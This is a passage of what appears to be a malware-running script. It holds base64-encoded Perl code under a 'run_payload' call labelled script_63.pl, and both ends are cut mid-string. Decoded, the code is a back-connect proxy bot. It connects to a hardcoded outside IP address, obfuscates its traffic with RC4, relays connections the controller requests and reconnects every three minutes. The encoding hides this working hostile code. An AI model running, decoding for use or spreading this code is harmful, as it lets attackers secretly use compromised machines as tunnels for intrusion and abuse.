QoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_63.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjA1JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRi